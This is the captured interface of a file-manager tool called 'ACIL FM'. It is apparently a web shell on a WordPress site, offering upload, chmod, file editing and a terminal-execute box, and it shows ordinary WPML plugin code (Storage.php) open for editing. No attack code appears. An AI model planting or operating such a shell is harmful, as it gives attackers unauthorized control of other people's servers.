ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/ATE/Log
/
home
mhhtmff
www
site
wp-content
plugins
sitepress-multilingual-cms
classes
ATE
Log
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Entry.php
1.76 MB
chmod
View
DL
Edit
Rename
Delete
EventsTypes.php
878 B
chmod
View
DL
Edit
Rename
Delete
Hooks.php
771 B
chmod
View
DL
Edit
Rename
Delete
Storage.php
1.99 MB
chmod
View
DL
Edit
Rename
Delete
View.php
2.41 MB
chmod
View
DL
Edit
Rename
Delete
ViewFactory.php
197 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/ATE/Log/Storage.php
<?php namespace WPML\TM\ATE\Log; use WPML\Collect\Support\Collection; use WPML\WP\OptionManager; class Storage { const OPTION_GROUP = 'TM\ATE\Log'; const OPTION_NAME = 'logs'; const MAX_ENTRIES = 50; public static function add( Entry $entry, $avoidDuplication = false ) { $entry->timestamp = $entry->timestamp ?: time(); $entries = self::getAll(); if ( $avoidDuplication ) { $entries = $entries->reject( function( $iteratedEntry ) use ( $entry ) { return ( $iteratedEntry->wpmlJobId === $entry->wpmlJobId && $entry->ateJobId === $iteratedEntry->ateJobId && $entry->description === $iteratedEntry->description && $entry->eventType === $iteratedEntry->eventType ); } ); } $entries->prepend( $entry ); $newOptionValue = $entries->forPage( 1, self::MAX_ENTRIES ) ->map( function( Entry $entry ) { return (array) $entry; } ) ->toArray(); OptionManager::updateWithoutAutoLoad( self::OPTION_NAME, self::OPTION_GROUP, $newOptionValue ); } /** * @param Entry $entry */ public static function remove( Entry $entry ) { $entries = self::getAll(); $entries = $entries->reject( function( $iteratedEntry ) use ( $entry ) { return $iteratedEntry->timestamp === $entry->timestamp && $entry->ateJobId === $iteratedEntry->ateJobId; } ); $newOptionValue = $entries->forPage( 1, self::MAX_ENTRIES ) ->map( function( Entry $entry ) { return (array) $entry; } ) ->toArray(); OptionManager::updateWithoutAutoLoad( self::OPTION_NAME, self::OPTION_GROUP, $newOptionValue ); } /** * @return Collection Collection of Entry objects. */ public static function getAll() { return wpml_collect( OptionManager::getOr( [], self::OPTION_NAME, self::OPTION_GROUP ) ) ->map( function( array $item ) { return new Entry( $item ); } ); } public function getCount(): int { return count( OptionManager::getOr( [], self::OPTION_NAME, self::OPTION_GROUP ) ); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply